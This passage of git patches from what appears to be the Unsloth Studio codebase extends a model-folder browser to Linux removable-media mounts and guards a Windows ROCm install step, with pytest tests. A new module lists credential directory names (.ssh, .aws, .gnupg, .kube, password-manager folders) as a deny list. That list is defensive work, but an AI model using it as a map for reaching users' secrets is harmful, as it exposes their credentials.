+
+    assert exc_info.value.status_code == 403
+
+
 def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
     home = tmp_path / "home"
     (home / ".ssh").mkdir(parents = True)
@@ -181,6 +191,24 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
     assert ".ssh" not in names
 
 
+def test_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path):
+    home = tmp_path / "home"
+    media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB"
+    model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6"
+    home.mkdir()
+    model_dir.mkdir(parents = True)
+    monkeypatch.setattr(folder_browser.Path, "home", lambda: home)
+    monkeypatch.setattr(folder_browser, "linux_run_media_mount_roots", lambda: [media_root])
+    monkeypatch.setattr(folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf")
+    monkeypatch.setattr(scan_folders, "list_scan_folders", lambda: [])
+    monkeypatch.setattr(folder_browser, "well_known_model_dirs", lambda: [])
+
+    allowlist = folder_browser._build_browse_allowlist()
+
+    assert media_root.resolve() in allowlist
+    assert folder_browser._resolve_browse_target(str(model_dir), allowlist) == model_dir.resolve()
+
+
 def test_get_models_folder_response_creates_and_returns_dir(monkeypatch, tmp_path):
     # The endpoint creates the cache dir on demand so the desktop "Open folder"
     # action works even before the first download.
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index 1501868860..c23ab1d428 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -1202,6 +1202,7 @@ def _build_browse_allowlist() -> list[Path]:
         legacy_hf_cache_dir,
         well_known_model_dirs,
     )
+    from utils.paths.external_media import linux_run_media_mount_roots
     from storage.studio_db import list_scan_folders
 
     candidates: list[Path] = []
@@ -1217,6 +1218,8 @@ def _build_browse_allowlist() -> list[Path]:
             candidates.append(resolved)
 
     _add(Path.home())
+    for p in linux_run_media_mount_roots():
+        _add(p)
     _add(_resolve_hf_cache_dir())
     try:
         _add(hf_default_cache_dir())
@@ -1336,6 +1339,8 @@ def _match_browse_child(current: Path, name: str) -> Optional[Path]:
 
 def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Path:
     """Resolve a requested browse path by walking from trusted allowlist roots."""
+    from storage.studio_db import contains_sensitive_path_component
+
     requested_path = _normalize_browse_request_path(path)
     resolved_roots: list[Path] = []
     seen_roots: set[str] = set()
@@ -1386,8 +1391,18 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
                         "under your home folder."
                     ),
                 )
+            if contains_sensitive_path_component(str(resolved_child)):
+                raise HTTPException(
+                    status_code = 403,
+                    detail = "Credential or configuration directories are not browseable.",
+                )
             current = resolved_child
 
+        if contains_sensitive_path_component(str(current)):
+            raise HTTPException(
+                status_code = 403,
+                detail = "Credential or configuration directories are not browseable.",
+            )
         if not current.is_dir():
             raise HTTPException(
                 status_code = 400,
@@ -1435,7 +1450,8 @@ async def browse_folders(
     then hidden (if ``show_hidden=true``).
     """
     from utils.paths import hf_default_cache_dir, well_known_model_dirs
-    from storage.studio_db import list_scan_folders
+    from utils.paths.external_media import linux_run_media_mount_roots
+    from storage.studio_db import contains_sensitive_path_component, list_scan_folders
 
     # Build once; the sandbox check and suggestion chips share it.
     allowed_roots = _build_browse_allowlist()
@@ -1488,6 +1504,8 @@ async def browse_folders(
             is_hidden = name.startswith(".")
             if is_hidden and not show_hidden:
                 continue
+            if contains_sensitive_path_component(name):
+                continue
             entries.append(
                 BrowseEntry(
                     name = name,
@@ -1541,6 +1559,8 @@ async def browse_folders(
 
     # Home first -- the safe fallback when everything else is cold.
     _add_sug(Path.home())
+    for p in linux_run_media_mount_roots():
+        _add_sug(p)
     # The HF cache root the process is actually using.
     try:
         _add_sug(hf_default_cache_dir())
diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py
index ba9f5b9cbc..41a9adcc29 100644
--- a/studio/backend/storage/studio_db.py
+++ b/studio/backend/storage/studio_db.py
@@ -22,7 +22,15 @@ logger = logging.getLogger(__name__)
 from typing import Any, Iterable, Optional
 
 
-from utils.paths import project_workspaces_root, studio_db_path, ensure_dir
+from utils.paths import (
+    ensure_dir,
+    project_workspaces_root,
+    studio_db_path,
+)
+from utils.paths.external_media import is_linux_run_media_path
+from utils.paths.sensitive import (
+    contains_sensitive_path_component as _shared_contains_sensitive_path_component,
+)
 from utils.training_runs import extract_project_name
 
 
@@ -61,6 +69,14 @@ def _denied_path_prefixes() -> list[str]:
     return []
 
 
+def _contains_sensitive_path_component(path: str) -> bool:
+    return _shared_contains_sensitive_path_component(path)
+
+
+def contains_sensitive_path_component(path: str) -> bool:
+    return _contains_sensitive_path_component(path)
+
+
 _schema_lock = threading.Lock()
 _schema_ready = False
 _SQLITE_IN_CHUNK_SIZE = 900
@@ -896,6 +912,8 @@ def add_scan_folder(path: str) -> dict:
         raise ValueError("Path must be a directory, not a file")
     if not os.access(normalized, os.R_OK | os.X_OK):
         raise ValueError("Path is not readable")
+    if _contains_sensitive_path_component(normalized):
+        raise ValueError("Credential or configuration directories are not allowed")
 
     # Windows: normcase for the denylist check but store original casing
     # so consumers see the native drive-letter casing (e.g. C:\Models).
@@ -903,6 +921,8 @@ def add_scan_folder(path: str) -> dict:
     check = os.path.normcase(normalized) if is_win else normalized
     for prefix in _denied_path_prefixes():
         if check == prefix or check.startswith(prefix + os.sep):
+            if prefix == "/run" and is_linux_run_media_path(check):
+                continue
             raise ValueError(f"Path under {prefix} is not allowed")
 
     conn = get_connection()
diff --git a/studio/backend/tests/test_linux_external_media_paths.py b/studio/backend/tests/test_linux_external_media_paths.py
new file mode 100644
index 0000000000..c763248f6a
--- /dev/null
+++ b/studio/backend/tests/test_linux_external_media_paths.py
@@ -0,0 +1,287 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import ast
+import os
+import sys
+from pathlib import Path
+from types import SimpleNamespace
+from typing import Optional
+
+import pytest
+
+from hub.storage import scan_folders
+from storage import studio_db
+from utils.paths import external_media
+
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+class _ExistingScanFolderConn:
+    def __init__(self):
+        self.params = ()
+
+    def execute(
+        self,
+        _sql,
+        params = (),
+    ):
+        self.params = params
+        return self
+
+    def fetchone(self):
+        return {"id": 1, "path": self.params[0], "created_at": "fake"}
+
+    def commit(self):
+        pass
+
+    def close(self):
+        pass
+
+
+class _HTTPException(Exception):
+    def __init__(self, status_code: int, detail: str):
+        super().__init__(detail)
+        self.status_code = status_code
+        self.detail = detail
+
+
+def _stub_linux_path_checks(monkeypatch, module):
+    monkeypatch.setattr(module.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(module.os.path, "realpath", os.path.normpath)
+    monkeypatch.setattr(module.os.path, "expanduser", lambda p: p)
+    monkeypatch.setattr(module.os.path, "exists", lambda _p: True)
+    monkeypatch.setattr(module.os.path, "isdir", lambda _p: True)
+    monkeypatch.setattr(module.os, "access", lambda _p, _mode: True)
+
+
+def _stub_hub_scan_folder_db(monkeypatch):
+    monkeypatch.setattr(scan_folders, "_ensure_schema", lambda _conn: None)
+    monkeypatch.setattr(scan_folders, "get_connection", _ExistingScanFolderConn)
+
+
+def _stub_legacy_scan_folder_db(monkeypatch):
+    monkeypatch.setattr(studio_db, "get_connection", _ExistingScanFolderConn)
+
+
+def test_linux_run_media_policy_accepts_mounted_volume_descendants(monkeypatch):
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB")
+    assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6")
+
+
+@pytest.mark.parametrize(
+    "path",
+    [
+        "/run",
+        "/run/media",
+        "/run/media/dspofu",
+        "/run/user/1000/models",
+        "/run/systemd/private",
+        "/run/not-media/dspofu/nvmeB",
+    ],
+)
+def test_linux_run_media_policy_rejects_unrelated_run_paths(monkeypatch, path):
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    assert not external_media.is_linux_run_media_path(path)
+
+
+def test_linux_run_media_mount_roots_lists_readable_volume_roots(monkeypatch, tmp_path):
+    base = tmp_path / "run" / "media"
+    mount = base / "dspofu" / "nvmeB"
+    sensitive_mount = base / "dspofu" / ".ssh"
+    sensitive_aws_mount = base / "dspofu" / ".aws"
+    other_user_mount = base / "other" / "backup"
+    incomplete = base / "dspofu-only"
+    mount.mkdir(parents = True)
+    sensitive_mount.mkdir()
+    sensitive_aws_mount.mkdir()
+    other_user_mount.mkdir(parents = True)
+    incomplete.mkdir()
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
+
+    assert roots == [mount.resolve()]
+
+
+def test_linux_run_media_mount_roots_skips_sensitive_resolved_volume_name(monkeypatch, tmp_path):
+    base = tmp_path / "run" / "media"
+    normal_mount = base / "dspofu" / "nvmeB"
+    sensitive_target = base / "dspofu" / ".config"
+    normal_mount.mkdir(parents = True)
+    sensitive_target.mkdir()
+    alias = base / "dspofu" / "config-alias"
+    alias.symlink_to(sensitive_target, target_is_directory = True)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
+
+    assert roots == [normal_mount.resolve()]
+
+
+def test_linux_run_media_mount_roots_skips_sensitive_resolved_descendant(monkeypatch, tmp_path):
+    base = tmp_path / "run" / "media"
+    normal_mount = base / "dspofu" / "nvmeB"
+    sensitive_descendant = normal_mount / ".ssh" / "models"
+    sensitive_descendant.mkdir(parents = True)
+    alias = base / "dspofu" / "models-alias"
+    alias.symlink_to(sensitive_descendant, target_is_directory = True)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
+
+    assert roots == [normal_mount.resolve()]
+
+
+def test_hub_scan_folder_accepts_linux_run_media_mount(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, scan_folders)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_hub_scan_folder_db(monkeypatch)
+    target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6"
+
+    row = scan_folders.add_scan_folder(target)
+
+    assert row["path"] == target
+
+
+@pytest.mark.parametrize(
+    "target",
+    [
+        "/run",
+        "/run/media",
+        "/run/media/dspofu",
+        "/run/user/1000/models",
+        "/run/systemd/private",
+        "/run/not-media/dspofu/nvmeB",
+    ],
+)
+def test_hub_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target):
+    _stub_linux_path_checks(monkeypatch, scan_folders)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_hub_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Path under /run is not allowed"):
+        scan_folders.add_scan_folder(target)
+
+
+def test_hub_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, scan_folders)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_hub_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Credential or configuration"):
+        scan_folders.add_scan_folder("/run/media/dspofu/nvmeB/.ssh/models")
+
+
+def test_legacy_scan_folder_accepts_linux_run_media_mount(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, studio_db)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_legacy_scan_folder_db(monkeypatch)
+    target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6"
+
+    row = studio_db.add_scan_folder(target)
+
+    assert row["path"] == target
+
+
+@pytest.mark.parametrize(
+    "target",
+    [
+        "/run",
+        "/run/media",
+        "/run/media/dspofu",
+        "/run/user/1000/models",
+        "/run/systemd/private",
+        "/run/not-media/dspofu/nvmeB",
+    ],
+)
+def test_legacy_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target):
+    _stub_linux_path_checks(monkeypatch, studio_db)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_legacy_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Path under /run is not allowed"):
+        studio_db.add_scan_folder(target)
+
+
+def test_legacy_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, studio_db)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_legacy_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Credential or configuration"):
+        studio_db.add_scan_folder("/run/media/dspofu/nvmeB/.aws/models")
+
+
+def test_legacy_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path):
+    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    function_names = {
+        "_build_browse_allowlist",
+        "_browse_relative_parts",
+        "_is_path_inside_allowlist",
+        "_match_browse_child",
+        "_normalize_browse_request_path",
+        "_resolve_browse_target",
+    }
+    functions = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name in function_names
+    ]
+    module = ast.Module(body = functions, type_ignores = [])
+    ast.fix_missing_locations(module)
+
+    home = tmp_path / "home"
+    media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB"
+    model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6"
+    home.mkdir()
+    model_dir.mkdir(parents = True)
+    (media_root / ".ssh").mkdir()
+
+    fake_paths = SimpleNamespace(
+        hf_default_cache_dir = lambda: tmp_path / "missing-default-hf",
+        legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf",
+        well_known_model_dirs = lambda: [],
+        studio_root = lambda: tmp_path / "missing-studio",
+        outputs_root = lambda: tmp_path / "missing-outputs",
+        exports_root = lambda: tmp_path / "missing-exports",
+    )
+    fake_external_media = SimpleNamespace(linux_run_media_mount_roots = lambda: [media_root])
+    fake_studio_db = SimpleNamespace(
+        list_scan_folders = lambda: [],
+        contains_sensitive_path_component = studio_db.contains_sensitive_path_component,
+    )
+    monkeypatch.setitem(sys.modules, "utils.paths", fake_paths)
+    monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db)
+
+    ns = {
+        "HTTPException": _HTTPException,
+        "os": os,
+        "Path": Path,
+        "Optional": Optional,
+        "_safe_is_dir": lambda p: Path(p).is_dir(),
+        "_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf",
+        "logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None),
+    }
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+
+    allowlist = ns["_build_browse_allowlist"]()
+
+    assert media_root.resolve() in allowlist
+    assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve()
+
+    with pytest.raises(_HTTPException) as exc:
+        ns["_resolve_browse_target"](str(media_root / ".ssh"), allowlist)
+    assert exc.value.status_code == 403
+
+    ssh_root = media_root / ".ssh"
+    with pytest.raises(_HTTPException) as exc_root:
+        ns["_resolve_browse_target"](str(ssh_root), [ssh_root])
+    assert exc_root.value.status_code == 403
diff --git a/studio/backend/utils/paths/external_media.py b/studio/backend/utils/paths/external_media.py
new file mode 100644
index 0000000000..1f1754664f
--- /dev/null
+++ b/studio/backend/utils/paths/external_media.py
@@ -0,0 +1,100 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""External media path helpers."""
+
+from __future__ import annotations
+
+import getpass
+import os
+import platform
+from pathlib import Path
+
+from utils.paths.sensitive import (
+    contains_sensitive_path_component,
+    is_sensitive_path_component,
+)
+
+
+def _is_linux_media_mount_path(path: str, media_root: Path | str) -> bool:
+    normalized = os.path.normpath(os.path.realpath(os.path.expanduser(path)))
+    root = os.path.normpath(os.path.realpath(os.path.expanduser(str(media_root))))
+    try:
+        rel = os.path.relpath(normalized, root)
+    except ValueError:
+        return False
+    if rel == "." or rel == ".." or rel.startswith(f"..{os.sep}"):
+        return False
+    parts = [part for part in rel.split(os.sep) if part]
+    return len(parts) >= 2 and all(part not in (".", "..") for part in parts[:2])
+
+
+def is_linux_run_media_path(path: str) -> bool:
+    """True for Linux removable-media paths under /run/media/<user>/<volume>."""
+    if platform.system() != "Linux":
+        return False
+    return _is_linux_media_mount_path(path, "/run/media")
+
+
+def _current_username() -> str | None:
+    try:
+        user = getpass.getuser().strip()
+    except Exception:
+        return None
+    return user or None
+
+
+def _contains_sensitive_media_component(path: Path, media_root: Path) -> bool:
+    try:
+        rel = path.relative_to(media_root)
+    except ValueError:
+        rel = path
+    return contains_sensitive_path_component(str(rel))
+
+
+def linux_run_media_mount_roots(
+    base: Path | str = "/run/media", *, user: str | None = None
+) -> list[Path]:
+    """Readable /run/media/<user>/<volume> roots for the folder browser."""
+    if platform.system() != "Linux":
+        return []
+    user = user or _current_username()
+    if not user or user in (".", "..") or os.sep in user:
+        return []
+    base_path = Path(base)
+    try:
+        resolved_base = base_path.resolve()
+    except (OSError, RuntimeError, ValueError):
+        return []
+
+    roots: list[Path] = []
+    seen: set[str] = set()
+    user_dir = base_path / user
+    try:
+        if not user_dir.is_dir():
+            return []
+        volume_dirs = list(user_dir.iterdir())
+    except (OSError, RuntimeError, ValueError):
+        return []
+    for volume_dir in volume_dirs:
+        if is_sensitive_path_component(volume_dir.name):
+            continue
+        try:
+            resolved = volume_dir.resolve()
+        except (OSError, RuntimeError, ValueError):
+            continue
+        if not _is_linux_media_mount_path(str(resolved), resolved_base):
+            continue
+        if _contains_sensitive_media_component(resolved, resolved_base):
+            continue
+        key = os.path.normcase(os.path.realpath(str(resolved)))
+        if key in seen:
+            continue
+        try:
+            is_dir = resolved.is_dir()
+        except OSError:
+            continue
+        if is_dir and os.access(resolved, os.R_OK | os.X_OK):
+            seen.add(key)
+            roots.append(resolved)
+    return roots
diff --git a/studio/backend/utils/paths/sensitive.py b/studio/backend/utils/paths/sensitive.py
new file mode 100644
index 0000000000..7d32a5f4cf
--- /dev/null
+++ b/studio/backend/utils/paths/sensitive.py
@@ -0,0 +1,46 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Shared sensitive path-component policy."""
+
+from __future__ import annotations
+
+import os
+
+
+SENSITIVE_PATH_COMPONENTS = {
+    ".aws",
+    ".azure",
+    ".config",
+    ".docker",
+    ".gcloud",
+    ".gnupg",
+    ".huggingface",
+    ".kaggle",
+    ".kube",
+    ".modelscope",
+    ".ngc",
+    ".local",
+    ".mozilla",
+    ".pki",
+    ".thunderbird",
+    ".ssh",
+    ".1password",
+    ".bitwarden",
+    ".password-store",
+    "1password",
+    "bitwarden",
+    "keychains",
+    "keyrings",
+    "mozilla",
+    "thunderbird",
+}
+
+
+def is_sensitive_path_component(name: str) -> bool:
+    return name.lower() in SENSITIVE_PATH_COMPONENTS
+
+
+def contains_sensitive_path_component(path: str) -> bool:
+    parts = os.path.normpath(path).split(os.sep)
+    return any(is_sensitive_path_component(part) for part in parts)

From c356427f30e8abadd38fbc722e494321f0b5b64b Mon Sep 17 00:00:00 2001
From: Ayushman <139611211+InfoSage05@users.noreply.github.com>
Date: Fri, 3 Jul 2026 23:54:29 +0530
Subject: [PATCH 192/306] Guard Windows ROCm torchao override skip (#6837)

* Fix: skip fp16/bf16 validation for full finetuning in RL trainers

When doing full finetuning (FFT) of a bfloat16 model, the fp16/bf16
mismatch validation fires before the corrective logic runs, causing a
misleading error even though the code would properly handle it downstream.
Skip the validation when full_finetuning is active.

Fixes #6731

* Fix: auto-correct fp16/bf16 mismatches for full finetuning before validation

Instead of entirely skipping validation (which could let mismatches
through when mixed_precision_dtype is float32), auto-correct explicit
fp16/bf16 settings that conflict with the model's dtype for FFT. This
way the existing validation still catches real mismatches for non-FFT
cases, and the corrective logic below handles the normalized settings.

Fixes the issue raised in Codex review of PR #6813.

* Guard Windows ROCm torchao override skip

Detect installed ROCm torch directly before applying the torchao override so Windows ROCm environments never install the crashing torchao package even if the earlier ROCm-installed flag is missing.

* Update unsloth/models/rl.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Update studio/install_python_stack.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Harden ROCm probe and sync RL precision flags

Tolerate stray stdout noise when probing Windows ROCm torch installs by checking the last non-empty output line, matching the existing torch version probe behavior. Also keep args.fp16 and args.bf16 synchronized with the full-finetuning precision auto-corrections in the RL trainer patch so downstream eval settings see a consistent TrainingArguments state.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add MLX trainer compatibility shims

Patch imported MLXTrainer and MLXTrainingConfig objects to preserve the expected dataclass field ordering and to provide a _train_dataset_for_batches fallback when older trainers or test doubles only expose train_dataset. Also add focused worker tests covering both compatibility paths.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope PR to Windows ROCm torchao guard

* Restore PR scope to Windows ROCm guard

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* test: cover Windows ROCm torchao skip behavior

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Ayushman Paul <ayushman@HP>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
---
 studio/backend/tests/test_torchao_select.py | 59 +++++++++++++++++--
 studio/install_python_stack.py              | 36 +++++++++++-
 tests/studio/install/test_rocm_support.py   | 64 +++++++++++++++++++++
 3 files changed, 152 insertions(+), 7 deletions(-)

diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py
index a99eb4c45c..2d3dc5fbff 100644
--- a/studio/backend/tests/test_torchao_select.py
+++ b/studio/backend/tests/test_torchao_select.py
@@ -12,6 +12,7 @@ from __future__ import annotations
 
 import sys
 from pathlib import Path
+from unittest.mock import MagicMock
 
 import pytest
 
@@ -71,12 +72,58 @@ def test_default_spec_matches_table(monkeypatch):
     assert mod._select_torchao_spec("2.9.0") == mod._TORCHAO_DEFAULT_SPEC
 
 
-def test_skips_torchao_on_windows_rocm():
+@pytest.mark.parametrize(
+    ("rocm_windows_torch_installed", "installed_torch_is_windows_rocm"),
+    [
+        (True, False),
+        (False, True),
+    ],
+)
+def test_skips_torchao_on_windows_rocm(
+    monkeypatch, tmp_path, rocm_windows_torch_installed, installed_torch_is_windows_rocm
+):
     """The overrides step must skip torchao on Windows ROCm: no working build exists
     there (it imports an absent c10d backend and crashes transformers.quantizers),
     so the installer skips it and relies on the runtime stub instead."""
-    source = _INSTALL_SCRIPT.read_text(encoding = "utf-8")
-    # Branches on the Windows-ROCm marker set by _ensure_rocm_torch ...
-    assert "elif _rocm_windows_torch_installed:" in source
-    # ... and reports the skip in the progress label.
-    assert "dependency overrides (skipped, Windows ROCm)" in source
+    mod = _load_module(monkeypatch)
+    installed_specs: list[str] = []
+    progress_labels: list[str] = []
+
+    def _record_pip_install(*args, **kwargs):
+        installed_specs.extend(str(arg) for arg in args)
+        return 0
+
+    unstructured_plugin = tmp_path / "unstructured"
+    github_plugin = tmp_path / "github"
+    unstructured_plugin.mkdir()
+    github_plugin.mkdir()
+
+    subprocess_result = MagicMock()
+    subprocess_result.returncode = 0
+    subprocess_result.stdout = ""
+
+    monkeypatch.setenv("SKIP_STUDIO_BASE", "1")
+    monkeypatch.setattr(mod, "IS_WINDOWS", True)
+    monkeypatch.setattr(mod, "IS_MACOS", False)
+    monkeypatch.setattr(mod, "IS_MAC_ARM", False)
+    monkeypatch.setattr(mod, "NO_TORCH", False)
+    monkeypatch.setattr(mod, "_rocm_windows_torch_installed", rocm_windows_torch_installed)
+    monkeypatch.setattr(
+        mod, "_installed_torch_is_windows_rocm", lambda: installed_torch_is_windows_rocm
+    )
+    monkeypatch.setattr(mod, "_bootstrap_uv", lambda: False)
+    monkeypatch.setattr(mod, "_repair_bad_anyio", lambda: None)
+    monkeypatch.setattr(mod, "_ensure_rocm_torch", lambda: None)
+    monkeypatch.setattr(mod, "_ensure_cuda_torch", lambda: None)
+    monkeypatch.setattr(mod, "_has_usable_nvidia_gpu", lambda: True)
+    monkeypatch.setattr(mod, "run", lambda *args, **kwargs: None)
+    monkeypatch.setattr(mod, "pip_install", _record_pip_install)
+    monkeypatch.setattr(mod, "_progress", lambda label: progress_labels.append(label))
+    monkeypatch.setattr(mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin)
+    monkeypatch.setattr(mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin)
+    monkeypatch.setattr(mod.subprocess, "run", lambda *args, **kwargs: subprocess_result)
+
+    assert mod.install_python_stack() == 0
+
+    assert not any(spec.startswith("torchao") for spec in installed_specs)
+    assert "dependency overrides (skipped, Windows ROCm)" in progress_labels
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index 37805e2a57..439d3ffe7b 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -181,6 +181,40 @@ def _probe_installed_torch_version() -> str | None:
     return lines[-1] if lines else None
 
 
+def _installed_torch_is_windows_rocm() -> bool:
+    """Return True when the target venv currently has a Windows ROCm torch build.
+
+    This is a belt-and-suspenders guard for the torchao override step: if the
+    earlier ROCm install path failed to set _rocm_windows_torch_installed but the
+    venv already contains a ROCm torch wheel, still skip torchao because it
+    crashes on import on Windows ROCm.
+    """
+    if not IS_WINDOWS:
+        return False
+    try:
+        probe = subprocess.run(
+            [
+                sys.executable,
+                "-c",
+                (
+                    "import sys, torch; "
+                    "hip = getattr(getattr(torch, 'version', None), 'hip', None) or ''; "
+                    "ver = getattr(torch, '__version__', '').lower(); "
+                    "sys.stdout.write('yes' if (hip or 'rocm' in ver or 'rocmsdk' in ver) else '')"
+                ),
+            ],
+            stdout = subprocess.PIPE,
+            stderr = subprocess.DEVNULL,
+            text = True,
+            timeout = 90,
+            **_windows_hidden_subprocess_kwargs(),
+        )
+    except (OSError, subprocess.TimeoutExpired):
+        return False
+    lines = [line.strip() for line in (probe.stdout or "").splitlines() if line.strip()]
+    return probe.returncode == 0 and bool(lines and lines[-1] == "yes")
+
+
 # constraints.txt caps new anyio resolutions at <4.14 (#6483), but an install
 # from before the cap existed can already be stuck at 4.14+, which later
 # constrained installs won't touch since it already satisfies mcp/fastmcp.
@@ -2256,7 +2290,7 @@ def install_python_stack() -> int:
     #    (no working build; see below).
     if NO_TORCH:
         _progress("dependency overrides (skipped, no torch)")
-    elif _rocm_windows_torch_installed:
+    elif _rocm_windows_torch_installed or _installed_torch_is_windows_rocm():
         # No working Windows ROCm torchao build: it imports an absent c10d backend
         # and crashes transformers.quantizers. Studio stubs it at runtime, so
         # installing it only ships a package that crashes on import -- skip it.
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index 092e1803f8..c8f2053946 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -2296,6 +2296,70 @@ class TestRocmTorchInstalledEnvVar:
         mock_bnb.assert_not_called()
 
 
+class TestWindowsRocmTorchaoGuard:
+    """Verify the torchao skip can detect an installed Windows ROCm torch build."""
+
+    def test_installed_torch_is_windows_rocm_accepts_rocm_probe(self):
+        rv = MagicMock()
+        rv.returncode = 0
+        rv.stdout = "yes"
+        with (
+            patch.object(stack_mod, "IS_WINDOWS", True),
+            patch.object(stack_mod.subprocess, "run", return_value = rv),
+        ):
+            assert stack_mod._installed_torch_is_windows_rocm() is True
+
+    def test_installed_torch_is_windows_rocm_rejects_non_rocm_probe(self):
+        rv = MagicMock()
+        rv.returncode = 0
+        rv.stdout = ""
+        with (
+            patch.object(stack_mod, "IS_WINDOWS", True),
+            patch.object(stack_mod.subprocess, "run", return_value = rv),
+        ):
+            assert stack_mod._installed_torch_is_windows_rocm() is False
+
+    def test_installed_torch_is_windows_rocm_is_non_windows_noop(self):
+        with patch.object(stack_mod, "IS_WINDOWS", False):
+            assert stack_mod._installed_torch_is_windows_rocm() is False
+
+    @patch.object(stack_mod, "_repair_bad_anyio")
+    @patch.object(stack_mod, "_ensure_rocm_torch")
+    @patch.object(stack_mod, "_ensure_cuda_torch")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = True)
+    @patch.object(stack_mod, "run")
+    @patch.object(stack_mod, "pip_install")
+    def test_install_python_stack_skips_torchao_when_windows_rocm_torch_is_installed(
+        self, mock_pip, mock_run, mock_has_nvidia, mock_cuda, mock_rocm, mock_anyio, tmp_path
+    ):
+        unstructured_plugin = tmp_path / "unstructured"
+        github_plugin = tmp_path / "github"
+        unstructured_plugin.mkdir()
+        github_plugin.mkdir()
+
+        subprocess_result = MagicMock()
+        subprocess_result.returncode = 0
+        subprocess_result.stdout = ""
+
+        with (
+            patch.dict(os.environ, {"SKIP_STUDIO_BASE": "1"}),
+            patch.object(stack_mod, "IS_WINDOWS", True),
+            patch.object(stack_mod, "IS_MACOS", False),
